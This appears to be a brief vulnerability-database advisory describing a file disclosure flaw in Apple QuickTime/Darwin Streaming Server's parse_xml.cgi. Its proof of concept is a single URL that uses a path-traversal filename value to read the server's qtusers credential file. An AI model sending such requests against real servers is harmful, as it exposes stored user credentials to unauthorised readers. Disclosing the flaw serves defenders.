• info
• discussion
• exploit
• solution
• references

Apple QuickTime/Darwin Streaming Server parse_xml.cgi File Disclosure Vulnerability

The following proof of concept was provided:

http://localhost:1220/parse_xml.cgi?filename=.../qtusers